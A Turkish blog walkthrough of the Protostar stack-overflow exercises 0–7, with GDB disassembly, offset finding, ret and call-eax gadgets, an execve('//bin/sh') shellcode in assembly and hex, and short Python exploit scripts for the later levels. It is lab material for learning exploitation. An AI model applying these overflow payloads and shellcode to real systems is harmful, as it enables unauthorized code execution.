Protostar Stack Serisi

Bu yazımda exploit geliştirmeye giriş için hazırlanmış Protostar stack uygulamalarından bahsedeceğim. Klasik çözümlerin aksine C kodu yorumlamaktansa işi assembly seviyesinde ele alacağım.

STACK 0

GDB(gnu debugger) ile programın kaynak kodlarına bakalım. GDB için gef eklentisini kullanıyorum tavsiye ederim.

gef➤ disas main
Dump of assembler code for function main:
0x080483f4 <+0>: push ebp
0x080483f5 <+1>: mov ebp,esp
0x080483f7 <+3>: and esp,0xfffffff0
0x080483fa <+6>: sub esp,0x60 
0x080483fd <+9>: mov DWORD PTR [esp+0x5c],0x0 
0x08048405 <+17>: lea eax,[esp+0x1c] 
0x08048409 <+21>: mov DWORD PTR [esp],eax  
0x0804840c <+24>: call 0x804830c <gets@plt> 
0x08048411 <+29>: mov eax,DWORD PTR [esp+0x5c] 
0x08048415 <+33>: test eax,eax
0x08048417 <+35>: je 0x8048427 <main+51> 
0x08048419 <+37>: mov DWORD PTR [esp],0x8048500 
0x08048420 <+44>: call 0x804832c <puts@plt>
0x08048425 <+49>: jmp 0x8048433 <main+63>
0x08048427 <+51>: mov DWORD PTR [esp],0x8048529
0x0804842e <+58>: call 0x804832c <puts@plt>
0x08048433 <+63>: leave 
0x08048434 <+64>: ret 
End of assembler dump.
gef➤

kodu yorumlayacak olursak;

<main+9> [esp+92] ye 0 atanıyor

<main+17> [esp+28] efektif adresi eax a atanıyor

<main+21> bu alanın adresi stack’in başlangıç adresi oluyor.

<main+24> gets fonksiyonu devreye giriyor

<main+29> [esp+92] bulunan bilgi yani 0(olması gerek) eax a atanıyor

<main+33> eax test işlemine tabi tutuluyor

<main+35> eax eğer sıfır ise yani değişmediyse “try again” mesajını ver çık

<main+37> değilse “you have changed the ‘modified’ variable” de ve işi bitir.

Kısaca açıklamak gerekirse program öncesinde [esp+92] alanına 0 değeri atıyor. Daha sonrasında gets() fonksiyonu ile bizden girdi bekliyor. Gets() fonksiyonunu incelerseniz aldığı girdiyi eax registerine yazdığını görürsünüz. Program [esp+92] adresine öncesinde 0 atamıştı. Bu bilgi eax registerine atanıyor ve test işlemine sokuluyor(and uygular ve sonuç bayraklarda görülür). Eğer [esp+92] adresindeki bilgi değişmediyse yani herhangi bir taşma gerçekleşmediyse “try again” mesajını verip program sonlanıyor. Eğer taşma gerçekleştiyse [esp+92] adresindeki bilgi değişeceği için bir sonraki instruction çalışıp ekrana “you have changed the ‘modified’ variable” mesajını veriyor. Bizim amacımız buffer overflow gerçekleştirip bu mesajı almak. Kaç byte’dan sonra taşdığı bilgisi önemli değil biz biraz uzunca “A” karakteri girip taşmayı gerçekleştireceğiz.

machineboy@kali:~$ ./stack0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
you have changed the 'modified' variable
Segmentation fault

Başarıyla mesajımızı aldık. İlk soru olduğu için biraz kolay.

STACK 1

GDB ile kodu inceleyelim.

gef➤ disas main
Dump of assembler code for function main:
0x08048464 <+0>: push ebp
0x08048465 <+1>: mov ebp,esp
0x08048467 <+3>: and esp,0xfffffff0
0x0804846a <+6>: sub esp,0x60 
0x0804846d <+9>: cmp DWORD PTR [ebp+0x8],0x1  
0x08048471 <+13>: jne 0x8048487 <main+35> 
0x08048473 <+15>: mov DWORD PTR [esp+0x4],0x80485a0 
0x0804847b <+23>: mov DWORD PTR [esp],0x1
0x08048482 <+30>: call 0x8048388 <errx@plt>
0x08048487 <+35>: mov DWORD PTR [esp+0x5c],0x0 
0x0804848f <+43>: mov eax,DWORD PTR [ebp+0xc]  
0x08048492 <+46>: add eax,0x4 
0x08048495 <+49>: mov eax,DWORD PTR [eax] 
0x08048497 <+51>: mov DWORD PTR [esp+0x4],eax  
0x0804849b <+55>: lea eax,[esp+0x1c] 
0x0804849f <+59>: mov DWORD PTR [esp],eax
0x080484a2 <+62>: call 0x8048368 <strcpy@plt> 
0x080484a7 <+67>: mov eax,DWORD PTR [esp+0x5c]  
0x080484ab <+71>: cmp eax,0x61626364 
0x080484b0 <+76>: jne 0x80484c0 <main+92> -
0x080484b2 <+78>: mov DWORD PTR [esp],0x80485bc 
0x080484b9 <+85>: call 0x8048398 <puts@plt>
0x080484be <+90>: jmp 0x80484d5 <main+113>
0x080484c0 <+92>: mov edx,DWORD PTR [esp+0x5c]
0x080484c4 <+96>: mov eax,0x80485f3
0x080484c9 <+101>: mov DWORD PTR [esp+0x4],edx
0x080484cd <+105>: mov DWORD PTR [esp],eax
0x080484d0 <+108>: call 0x8048378 <printf@plt>
0x080484d5 <+113>: leave 
0x080484d6 <+114>: ret 
End of assembler dump.
Gef➤

<main+9> argument counter’ın 1 olup olmadığına bakıyor.

<main+13> Eğer program herhangi bir agümanla başlamadıysa yani arg counter 1 ise (kendi ismiyle başladığı için) bir sonraki insruction çalışır (“please specify an argument\n”)

<main+15> Eğer argc 1 den farklıysa main+35 e zıplar.

<main+35> [esp+92] ye 0 atanıyor.

<main+43> eax = argv[0] => Programın isminin bulunduğu alan.

<main+46> eax = eax + 4

<main+49> eax = argv[1] => Bu alana 4 ekleyince (x86) ilk parametreyi alır.

<main+51> esp+4 alanına argv[1] değerini atıyor.

<main+62> strcpy fonksiyonu kontrolsüz yazmaya başlıyor

<main+67> [esp+92] adresini daha önce 0 yapmıştı (tabi değişmediyse) onu eax a atıyor.

<main+71> eax deki bilgiyi 0x61626364 ile karşılaştırıyor

<main+76> Eşit değilse main+92 zıpla ve “”Try again, you got 0x%08x\n”” mesajını ver

<main+78> Eşit ise “you have correctly got the variable to the right value” mesajını ver ve çık.

Özetleyecek olursak programımız bizden bir parametre bekliyor. Aldığı bu parametreyi stack’e kontrolsüz bir şekilde atıyor. Yani ne yazmışız ne demişiz uzunluğu ne bakmıyor. [esp+92] adresindeki bilgiyi 0x61626364 (abcd) adresi ile karşılaştırıyor. Eğer ben tam o noktaya bu adresi denk getirirsem başarı mesajımı alacağım.

machineboy@kali:~$ ./stack1 `python -c 'print "A"*64+"B"*4'`
Try again, you got 0x42424242
machineboy@kali:~$ ./stack1 `python -c 'print "A"*64+"dcba"'`
you have correctly got the variable to the right value
machineboy@kali:~$

STACK 2

GDB ile koda bakalım.

gef➤ disas main
Dump of assembler code for function main:
0x08048494 <+0>: push ebp
0x08048495 <+1>: mov ebp,esp
0x08048497 <+3>: and esp,0xfffffff0
0x0804849a <+6>: sub esp,0x60
0x0804849d <+9>: mov DWORD PTR [esp],0x80485e0  
0x080484a4 <+16>: call 0x804837c <getenv@plt>  
0x080484a9 <+21>: mov DWORD PTR [esp+0x5c],eax  
0x080484ad <+25>: cmp DWORD PTR [esp+0x5c],0x0 
0x080484b2 <+30>: jne 0x80484c8 <main+52> 
0x080484b4 <+32>: mov DWORD PTR [esp+0x4],0x80485e8 
0x080484bc <+40>: mov DWORD PTR [esp],0x1
0x080484c3 <+47>: call 0x80483bc <errx@plt>
0x080484c8 <+52>: mov DWORD PTR [esp+0x58],0x0   
0x080484d0 <+60>: mov eax,DWORD PTR [esp+0x5c] 
0x080484d4 <+64>: mov DWORD PTR [esp+0x4],eax 
0x080484d8 <+68>: lea eax,[esp+0x18]  
0x080484dc <+72>: mov DWORD PTR [esp],eax 
0x080484df <+75>: call 0x804839c <strcpy@plt> 
0x080484e4 <+80>: mov eax,DWORD PTR [esp+0x58] 
0x080484e8 <+84>: cmp eax,0xd0a0d0a  
0x080484ed <+89>: jne 0x80484fd <main+105>
0x080484ef <+91>: mov DWORD PTR [esp],0x8048618 
0x080484f6 <+98>: call 0x80483cc <puts@plt>
0x080484fb <+103>: jmp 0x8048512 <main+126>
0x080484fd <+105>: mov edx,DWORD PTR [esp+0x58]
0x08048501 <+109>: mov eax,0x8048641
0x08048506 <+114>: mov DWORD PTR [esp+0x4],edx
0x0804850a <+118>: mov DWORD PTR [esp],eax
0x0804850d <+121>: call 0x80483ac <printf@plt>
0x08048512 <+126>: leave 
0x08048513 <+127>: ret 

<main+9> “GREENIE” değeri stack’e yolla.

<main+16> getenv fonksiyonu ile “GREENIE” ile tanımlanmış veri alınıyor.

<main+21>

<main+25> Environment boş ise hata ver ve çık “please set the GREENIE environment variable\n”

<main+30> Değilse main+52 sıçra

<main+32>

<main+52> [esp+0x58] adresine 0 değeri atanıyor sebebini anlayacaksınız

<main+60> Daha önce [esp+0x5c] adresine environment değerini (eax) atamıştık şimdi bunu tekrar eax a atıyoruz

<main+64> [esp+4] = “AAAAA..A”

<main+68> [esp+0x18] adresinde bulunan değerin efektif adresini eax a atıyor

<main+72> Bu adresi de stack’in üstüne atıyor

<main+75> strcpy fonksiyonu bu bilgileri bir güzel kullanıyor

<main+80> Daha önce [esp+0x58] adresine 0 değeri atanmıştı hatırlayın bu veriyi eax a atıyor şimdi de

<main+84> eax deki bilgiyi 0xd0a0d0a ile karşılaştırıyor

<main+89> Eğer eşit değilse çık git

<main+91> Eşit ise “you have correctly modified the variable” mesajını ver

GREENIE ile tanımlanmış environment değerini stack’e kontrolsüz arkadaşımız olan strcpy yazıyor. [esp+0x58] adresindeki veriyi 0xd0a0d0a ile karşılaştırıyor. Eğer taşma gerçekleşirse ve ben tam bu alana 0xd0a0d0a adresini yazarsam güzelim mesajımızı tekrardan alırız.

Öncelikle GREENIE tanımlıyorum ve içine 64 A karakteri ve little endiana göre de 0xd0a0d0a adresini yazıyorum. Stack2 yi çalıştırdığımda mesajımı alıyorum.

machineboy@kali:~$ export GREENIE=`python -c 'print "A"*64 + "\x0a\x0d\x0a\x0d"'`
machineboy@kali:~$ echo $GREENIE 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

machineboy@kali:~$ ./stack2
you have correctly modified the variable
machineboy@kali:~$

STACK 3

GDB ile koda bakmadan önce eğer tanımlı fonksiyonlara bakacak olursak bizi main dışında win isimli fonksiyon karşılıyor.

gef➤ i func
All defined functions:

File stack3/stack3.c:
11: int main(int, char **);
6: void win(void);

win fonksiyonuna bakalım neler yapıyormuş.

gef➤ disas win
Dump of assembler code for function win:
0x08048424 <+0>: push ebp
0x08048425 <+1>: mov ebp,esp
0x08048427 <+3>: sub esp,0x18
0x0804842a <+6>: mov DWORD PTR [esp],0x8048540 --------------→ "code flow successfully changed"
0x08048431 <+13>: call 0x8048360 <puts@plt>
0x08048436 <+18>: leave 
0x08048437 <+19>: ret 

Aslında yaptığı tek şey <win+6>(0x8048540)–>”code flow successfully changed” mesajını vermek. Yani iş yine main fonksiyonuna kaldı.

gef➤ disas main
Dump of assembler code for function main:
0x08048438 <+0>: push ebp
0x08048439 <+1>: mov ebp,esp
0x0804843b <+3>: and esp,0xfffffff0
0x0804843e <+6>: sub esp,0x60
0x08048441 <+9>: mov DWORD PTR [esp+0x5c],0x0
0x08048449 <+17>: lea eax,[esp+0x1c]
0x0804844d <+21>: mov DWORD PTR [esp],eax
0x08048450 <+24>: call 0x8048330 <gets@plt>
0x08048455 <+29>: cmp DWORD PTR [esp+0x5c],0x0
0x0804845a <+34>: je 0x8048477 <main+63>
0x0804845c <+36>: mov eax,0x8048560
0x08048461 <+41>: mov edx,DWORD PTR [esp+0x5c]
0x08048465 <+45>: mov DWORD PTR [esp+0x4],edx
0x08048469 <+49>: mov DWORD PTR [esp],eax
0x0804846c <+52>: call 0x8048350 <printf@plt>
0x08048471 <+57>: mov eax,DWORD PTR [esp+0x5c]
0x08048475 <+61>: call eax
0x08048477 <+63>: leave
0x08048478 <+64>: ret

<main+9> [esp+92] ye 0 atanıyor.

<main+17> [esp+28] efektif adresini eax a atar.

<main+21> Bu bilgiyi stack’e atar.

<main+24> Ve gets fonksiyonu devreye girer.

<main+29> Daha önce [esp+0x92] adresine atadığımız 0 değeri hala aynı kalmışmı diye kontrol eder.

<main+34> Eğer bu bilgi aynı kaldıysa yani değişmediyse çık git

<main+36> Ha eğer değiştirmeyi başarırsak “calling function pointer, jumping to 0x%08x\n” mesajını ata.

<main+41> Ve bu değeri edx e ata.

<main+45> edx deki bilgiyi [esp+4] adresine yolla.

<main+49> Mesajı stack e gönder paşam.

<main+52> printf fonksiyonu ile mesajı ekrana bas.

<main+57> Ve aynı değeri yani değiştirdiğimiz değeri [esp+92] yi eax a gönder.

<main+61> Bu değeri fonksiyon adresi gibi gör çağır.

Program bizden bir girdi bekliyor. Aldığı girdi stack’e kontrolsüz yazıldığı için [esp+92] adresindeki bilgi de haliyle değişiyor. [esp+92] adresindeki bilgiyi eax registerine atadıktan sonra sanki bir fonksiyonmuş gibi çağırıyor. Madem başarı mesajı almak istiyorum o zaman [esp+92] adresine win() fonksiyonunun adresini denk getirirsem program akışına o adresten devam eder bende yoluma..

İlk olarak win() fonksiyonun adresini bulalım. Print komutuyla bulabiliriz(kısaca p).

gef➤ p win
$1 = {void (void)} 0x08048424 win
gef➤

Bu adresi little endian notasyonuna göre yazmayı unutmayın. 64 adet A karakterinden sonra win() adresi yazıyorum. En sonunda kod yönlendirmesi başarılı mesajını alıyorum.

machineboy@kali:~$ (python -c 'print "A"*64+"\x24\x84\x04\x08"') | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

STACK 4

Bizi yine aynı fonksiyonlar karşılıyor.

gef➤ i functions 
All defined functions:

File stack4/stack4.c:
11: int main(int, char **);
6: void win(void);

win() fonksiyonu aynı değişen birşey yok. Asıl iş yine main de.

gef➤ disas main
Dump of assembler code for function main:
0x08048408 <+0>: push ebp
0x08048409 <+1>: mov ebp,esp
0x0804840b <+3>: and esp,0xfffffff0
0x0804840e <+6>: sub esp,0x50 
0x08048411 <+9>: lea eax,[esp+0x10] 
0x08048415 <+13>: mov DWORD PTR [esp],eax 
0x08048418 <+16>: call 0x804830c <gets@plt>
0x0804841d <+21>: leave 
0x0804841e <+22>: ret 

Aslında anlatılacak pek birşey yok. Gets() fonksiyonu sadece girdi bekliyor. Başka da birşey yaptığı yok. Peki zafiyet nerede ? Zafiyet gets() fonksiyonunun ta kendisi. Yine stack’e kontrolsüz veri yazan fonksiyonlardan biri. Bizde bunu kullanacağız. Eip ye win() fonksiyonunun adresini yazarsam program akışına oradan devam eder. İşe kaç byte’dan sonra eip’ye düşeceğimizi bulmakla başlayalım.

gef➤  pattern create 200
[+] Generating a pattern of 200 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
[+] Saved as '$_gef0'
gef➤  run
Starting program: /home/machineboy/stack4 
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

gef➤  pattern offset $eip
[+] Searching '$eip'
[+] Found at offset 76 (little-endian search) likely
[+] Found at offset 73 (big-endian search) 
gef➤

Little endian’a göre 76 byte’dan sonra gelecek 4 byte eip registerine düşecek. Şimdi de win() fonskiyonunun adresini bulalım.

gef➤  p win
$1 = {void (void)} 0x80483f4 win
gef➤

76 adet A karakteri sonrası little endian’a göre win() adresini yazıp bu işi bitiriyorum.

machineboy@kali:~$ (python -c 'print "A"*76+"\xf4\x83\x04\x08"') | ./stack4
code flow successfully changed
Segmentation fault
machineboy@kali:~$ 

STACK 5

GDB ile koda bakalım.

gef➤ disas main
Dump of assembler code for function main:
0x080483c4 <+0>: push ebp
0x080483c5 <+1>: mov ebp,esp
0x080483c7 <+3>: and esp,0xfffffff0
0x080483ca <+6>: sub esp,0x50 
0x080483cd <+9>: lea eax,[esp+0x10] 
0x080483d1 <+13>: mov DWORD PTR [esp],eax 
0x080483d4 <+16>: call 0x80482e8 <gets@plt>
0x080483d9 <+21>: leave 
0x080483da <+22>: ret

Bir öncekinin aynısı fakat win() fonksiyonu yok bu sefer. Peki şimdi napacük? Shell alsak ? Bence iyi fikir. Hatırlarsanız size gets() fonksiyonun aldığı girdiyi eax registerinde sakladığını söylemiştim. Hal böyle olunca insanın aklına şeytani fikirler geliyor. Burada kullanacağım yöntem eip üzerine call eax gibi instruction’ın adresini yazmak. Madem benim girdiğim değer eax’a yazılıyor eip’e call eax söyletebilirsem girdi olarak vereceğim shellcode’um çalışacak. İyi de call eax nerede ? Program içerisinde call eax vb. Instruction aramak için ropper isimli bir araç kullanacağım. ROP(Return Oriented Programming) dediğimiz mevzu için güzel bir araç. ROP konusuna başka zaman değineceğim. Şimdi call eax arayalım.

ropper -f stack5

call eax I bulduk. Herşey yolunda ama shellcode yok. Onu da ben vereyim. Hatta isterseniz inceleyelim.

section .text
   global _start
_start:
 xor eax, eax
 push eax
 push 0x68732f6e
 push 0x69622f2f
 mov ebx, esp
 push eax
 mov ecx, esp
 mov edx, esp
 mov al, 11
 int 0x80

shellcode’u yorumlayacak olursak. İlk önce eax registerini sıfırlıyoruz. Madem sıfırlayacaktık neden mov eax,0 demedik diyebilirsiniz. Sebebi çok basit 32 bitlik registere siz 8 bitlik veri yazdığınızda kalan 24 bit null byte “0x00” olarak tanımlanır. Bu da shellcode’un çalışmasını engeller. Bu yüzden xor işlemi ile sıfırlıyorum. Bu değeri stack’e yolluyorum. Sonrasında gördüğünüz gibi iki garip adresi stack’e atıyorum. Onlar ne ola ki?

Cevap : //bin/sh ===== > 2f2f62696e2f7368

Sadece little endian a göre yazılıyor o kadar.

Esp deki (//bin/sh) bilgisi ebx’yazılıyor. Sonrasında eax tekrar stack’e yollanıyor. Stack’de iki tane değeri 0 olan eax var. Bu 0’lar ecx ve edx registerine atanıyor. En sonunda al registerine 11 değeri atanıyor yani sistem çağrı numarası olan 11(execve). Anlamadınız dimi ? Bu herşeyi açıklar.

execve
const char *name
const char *const *argvconst char *const *envp

Yaptığımız iş execve(“//bin/sh”,0,0) bu kadar.Bu kodu .asm uzantılı olarak kaydedip şu şekilde derleyin.

nasm -f elf shellcode.asm
ld -m elf_i386 shellcode.o -o shell

Derledikten sonra shellcode’u elde etmek için objdump dan faydalanalım.

for i in $(objdump -d shell -M intel |grep “^ ” |cut -f2); do echo -n ‘\x’$i; done;echo
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x89\xe2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80

Şimdi gelelim exploiti yazmaya. Mantık şu şekilde;

shellcode + (76 -shellcode_uzunluğu)*geriye kalan kısım nop + call_eax_adresi

import struct

call_eax = struct.pack("I",0x080483bf)

shellcode = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x89\xe2\xb0\x0b\xcd\x80"
padding = "\x90"*(76-len(shellcode)) #some nops problem
exp = shellcode+padding+call_eax

print exp

Bunu olduğu gibi kullanınca shell’düşer düşmez geri tekmeleniyoruz. Bu yüzden cat abimizden faydalanacağız.

(python exploit.py; cat) | /opt/protostar/bin/stack5

STACK 6

Şimdi işler karışıyor. Gerçi ne zaman karışmadıki. 2 fonksiyonumuz var.

gef➤ i functions 
All defined functions:

File stack6/stack6.c:
6: void getpath(void);
25: int main(int, char **);

Önce main’e bakalım.

gef➤ disas main
Dump of assembler code for function main:
0x080484fa <+0>: push ebp
0x080484fb <+1>: mov ebp,esp
0x080484fd <+3>: and esp,0xfffffff0
0x08048500 <+6>: call 0x8048484 <getpath> --------→ getpath fonksiyonunu çağır çık git
0x08048505 <+11>: mov esp,ebp
0x08048507 <+13>: pop ebp
0x08048508 <+14>: ret 

Gördüğünüz gibi yaptığı tek şey getpath() fonksiyonunu çağırıp gitmek. Bu sefer asıl iş main’de değil ilginç. Bakalım getpath() de neler varmış.

gef➤ disas getpath
Dump of assembler code for function getpath:
0x08048484 <+0>: push ebp
0x08048485 <+1>: mov ebp,esp
0x08048487 <+3>: sub esp,0x68 
0x0804848a <+6>: mov eax,0x80485d0 
0x0804848f <+11>: mov DWORD PTR [esp],eax 
0x08048492 <+14>: call 0x80483c0 <printf@plt> 
0x08048497 <+19>: mov eax,ds:0x8049720
0x0804849c <+24>: mov DWORD PTR [esp],eax
0x0804849f <+27>: call 0x80483b0 <fflush@plt>
0x080484a4 <+32>: lea eax,[ebp-0x4c]
0x080484a7 <+35>: mov DWORD PTR [esp],eax
0x080484aa <+38>: call 0x8048380 <gets@plt>
0x080484af <+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484b2 <+46>: mov DWORD PTR [ebp-0xc],eax
0x080484b5 <+49>: mov eax,DWORD PTR [ebp-0xc] 
0x080484b8 <+52>: and eax,0xbf000000 
0x080484bd <+57>: cmp eax,0xbf000000 
0x080484c2 <+62>: jne 0x80484e4 <getpath+96> 
0x080484c4 <+64>: mov eax,0x80485e4 
0x080484c9 <+69>: mov edx,DWORD PTR [ebp-0xc]
0x080484cc <+72>: mov DWORD PTR [esp+0x4],edx
0x080484d0 <+76>: mov DWORD PTR [esp],eax
0x080484d3 <+79>: call 0x80483c0 <printf@plt>
0x080484d8 <+84>: mov DWORD PTR [esp],0x1
0x080484df <+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <+96>: mov eax,0x80485f0
0x080484e9 <+101>: lea edx,[ebp-0x4c]
0x080484ec <+104>: mov DWORD PTR [esp+0x4],edx
0x080484f0 <+108>: mov DWORD PTR [esp],eax
0x080484f3 <+111>: call 0x80483c0 <printf@plt>
0x080484f8 <+116>: leave 
0x080484f9 <+117>: ret 

<main+6> “input path please: “

<main+11> Stack’e yolla

<main+14> Ekrana yaz

<main+38> gets ile veri bekle

<main+43> [ebp+4] yeni return adresi eax a ata

<main+46> Ret adresini [ebp-12] konumuna ata

<main+49> Ret adresi tekrar eax a ata

<main+52> Bu adresi 0xbf000000 ile and işlemine tabi tut

<main+57> Bak bakalım eax daki bilgi 0xbf000000 ile aynı mı ?

<main+62> Aynı değilse “got path %s\n” mesajını ver

<main+64> Aynı ise “bzzzt (%p)\n” mesajını ver

Stack adresinin 0xbf ile başladığına dikkat edin. Yani kodlardan şunu anlıyoruz stack e shellcode’umuzu yazamıyoruz(daha doğrusu yazabiliriz fakat çalışmaz kısacası NX(no execute)). E peki şimdi napacük ? ROP(Return oriented programming) dediğimiz mevzuya tekrar geleceğiz. Öncelikle kaç byte sonra eip’e ulaşacağımız bulalım. Buraları artık biliyorsunuz. 80 karakterden sonra gelecek 4 byte doğrudan eip’e gelecek.

Yapacağımız şey programın içerisinde ret komutunu çalıştıran bir adresi bulup eip’e yazacağız sonrasında shellcode’umuzun bulunduğu adresi verip çalışmasını sağlayacağız. Bu sayede stack’e shellcode’umuzu yazmadan shell’e geçeceğiz. İşe yarar bir ret adresi bulalım. Bunun için objdump’dan faydalanacağım.

machineboy@kali:~$ objdump -d stack6 | grep ret
804835f: c3 ret 
8048454: c3 ret 
8048482: c3 ret 
80484f9: c3 ret 
8048508: c3 ret 
8048514: c3 ret 
8048579: c3 ret 
804857d: c3 ret 
80485a9: c3 ret 
80485c7: c3 ret 
machineboy@kali:~$ 

Herhangi biri olur.

Exploit mantığı : 80 nop + ret + shellcode adresi

shellcode’u nereye yazacağız peki ? Tabii ki de environment. Env’e yazdıktan sonra adresini bulmak için çok basit bir C kodumuz var.

#include <stdio.h>
#include <stdlib.h>

int main()
{
     char *e = getenv("HEBELEHUBELE");
     printf("adresi aha bu : %p \n",e);
     return 0;
}

Environment adına çok takılmayın.

export HEBELEHUBELE=(python -c ‘print “\x90”*32+”\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x89\xe2\xb0\x0b\xcd\x80”’ )

Önce ret adresini sonra shellcode’un adresini little endian notasyonuna göre yazıyorum ve shell alıyorum.

STACK 7

Bizi yine aynı fonksiyonlar karşılıyor.

gef➤ i functions 
All defined functions:

File stack7/stack7.c:
6: char *getpath(void);
26: int main(int, char **);


gef➤ disas getpath 
Dump of assembler code for function getpath:
0x080484c4 <+0>: push ebp
0x080484c5 <+1>: mov ebp,esp
0x080484c7 <+3>: sub esp,0x68
0x080484ca <+6>: mov eax,0x8048620 
0x080484cf <+11>: mov DWORD PTR [esp],eax
0x080484d2 <+14>: call 0x80483e4 <printf@plt>
0x080484d7 <+19>: mov eax,ds:0x8049780
0x080484dc <+24>: mov DWORD PTR [esp],eax
0x080484df <+27>: call 0x80483d4 <fflush@plt>
0x080484e4 <+32>: lea eax,[ebp-0x4c]
0x080484e7 <+35>: mov DWORD PTR [esp],eax
0x080484ea <+38>: call 0x80483a4 <gets@plt>
0x080484ef <+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484f2 <+46>: mov DWORD PTR [ebp-0xc],eax
0x080484f5 <+49>: mov eax,DWORD PTR [ebp-0xc]
0x080484f8 <+52>: and eax,0xb0000000 ---------------------------------------------> OOOOPS! 
0x080484fd <+57>: cmp eax,0xb0000000
0x08048502 <+62>: jne 0x8048524 <getpath+96>
0x08048504 <+64>: mov eax,0x8048634
0x08048509 <+69>: mov edx,DWORD PTR [ebp-0xc]
0x0804850c <+72>: mov DWORD PTR [esp+0x4],edx
0x08048510 <+76>: mov DWORD PTR [esp],eax
0x08048513 <+79>: call 0x80483e4 <printf@plt>
0x08048518 <+84>: mov DWORD PTR [esp],0x1
0x0804851f <+91>: call 0x80483c4 <_exit@plt>
0x08048524 <+96>: mov eax,0x8048640
0x08048529 <+101>: lea edx,[ebp-0x4c]
0x0804852c <+104>: mov DWORD PTR [esp+0x4],edx
0x08048530 <+108>: mov DWORD PTR [esp],eax
0x08048533 <+111>: call 0x80483e4 <printf@plt>
0x08048538 <+116>: lea eax,[ebp-0x4c]
0x0804853b <+119>: mov DWORD PTR [esp],eax
0x0804853e <+122>: call 0x80483f4 <strdup@plt>
0x08048543 <+127>: leave 
0x08048544 <+128>: ret 

Assembly kod hemen hemen stack6 ile aynı yalnız bir fark var. getpath+52 de eax bu sefer 0xb0000000 ile and işlemine tabi tutulup diğer instruction da karşılaştırılmış yani biz yine shellcode’umuzu stack e yollamayacağız aynı zamanda eip e yazacağımız ret adresi 0xb… ile başlamayacak. Burada ret2libc tekniği kullanılabilir ama ben bu sefer daha farklı bir yöntem kullanacağım. Hatırlarsanız gets() fonksiyonu aldığı girdiyi eax registerine yazıyordu. Eğer ben shellcode normal bir girdi olarak verirsem ve eip ye call eax insruction’ın adresini yazarsam shellcode’umu stack e yazmadan çalıştırabilirim.

Daha önceki örnekte bu instruction’ın nasıl bulunacağından bahsetmiştim.

ropper -f stack7
.......
0x0804837b: call 0x5d0; pop eax; pop ebx; leave; ret; 
0x08048487: call 0x97840a52; add al, 8; add dword ptr [ebx + 0x5d5b04c4], eax; ret; 
0x080484bf: call eax; ----------------------------------------------------------------------------------------------------------------&gt; tam olarak aradığımız bu arkadaş
0x080484bf: call eax; leave; ret; 
0x080485ef: cmp eax, -1; jne 0x5e8; add esp, 4; pop ebx; pop ebp; ret; 
.........

Exploit şu şekilde: shellcode + arta kalan kısım nop + call eax

exploit.py içeriği:

import struct

shellcode = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x89\xe2\xb0\x0b\xcd\x80"

padding = "\x90" * (80 - len(shellcode))
call_eax = struct.pack("I", 0x080484bf)


exp = shellcode + padding + call_eax
print exp

Yazı biraz uzun oldu farkındayım ama başka türlü de tadı çıkmazdı. Diğer yazıda görüşmek üzere …

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir